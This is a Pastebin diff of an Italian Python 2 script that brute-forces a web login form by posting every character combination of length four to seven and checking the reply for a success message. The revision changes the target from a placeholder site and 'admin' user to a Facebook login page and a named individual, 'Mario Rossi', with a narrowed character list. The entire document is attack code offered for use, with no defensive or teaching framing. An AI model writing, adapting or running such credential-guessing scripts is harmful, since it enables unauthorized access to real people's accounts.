View difference between Paste ID: VFLHdW0J and GxzRdV2n
SHOW: | | - or go back to the newest paste.
1
# Importo la libreria che ci serve per la connessione http
2
import urllib
3
4
# Username di cui si vuole scoprire la password
5-
username = "admin"
5+
username = "Mario Rossi"
6
7
# Pagina di action a cui rimanda il form di login
8-
paginaLogin = "http://www.miosito.it/login.php"
8+
paginaLogin = "http://www.facebook.it/login.php"
9
10
# Messaggio di avvenuto login
11
messaggioDiAvvenutoLogin = "Login effettuato!"
12
13
# Lista dei caratteri possibili in una password.
14-
listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"]
14+
listaCaratteri = ["C","A","S","A","1","2","3"]
15
 
16
# Funzione che verifica se la password passata come parametro
17
# e' quella corretta e di conseguenza e' stata indovinata.
18
def testaPassword(password):
19
    print "Testando la password:", password
20
    
21
    # Invio i parametri da testare alla pagina di action (paginaLogin)
22
    parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" }
23
    p= urllib.urlencode(parametriDaTestare)
24
    paginaDiAction = urllib.urlopen(paginaLogin, p)
25
26
    # Memorizzo la risposta della pagina di action nella variabile risultato
27
    risultato = paginaDiAction.read()
28
29
    # Controllo se la password e' corretta
30
    if messaggioDiAvvenutoLogin in risultato:
31
        print "Password trovata: ", password
32
        exit()
33
    else:
34
        return
35
   
36
# Qui bisogna supporre una lunghezza massima della password,
37
# ipotizziamo 12 caratteri.
38
# Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza
39
# da 4 caratteri in poi verra' testata la password (attraverso
40
# la funzione testaPassword).
41
for c1 in listaCaratteri:
42
    for c2 in listaCaratteri:
43
        for c3 in listaCaratteri:
44
            for c4 in listaCaratteri:
45
                psw = c1+c2+c3+c4   # La password da testare sara' composta dai caratteri
46
                                    # correnti ovvero c1, c2, c3, c4
47
                testaPassword(psw)
48
                for c5 in listaCaratteri:
49
                    psw = c1+c2+c3+c4+c5    # La password da testare sara' composta dai
50
                                            # caratteri correntiovvero c1, c2, c3, c4
51
                    testaPassword(psw)
52
                    for c6 in listaCaratteri:
53
                        psw = c1+c2+c3+c4+c5+c6
54
                        testaPassword(psw)
55
                        for c7 in listaCaratteri:
56
                            psw = c1+c2+c3+c4+c5+c6+c7
57-
                            testaPassword(psw)
57+
                            testaPassword(psw)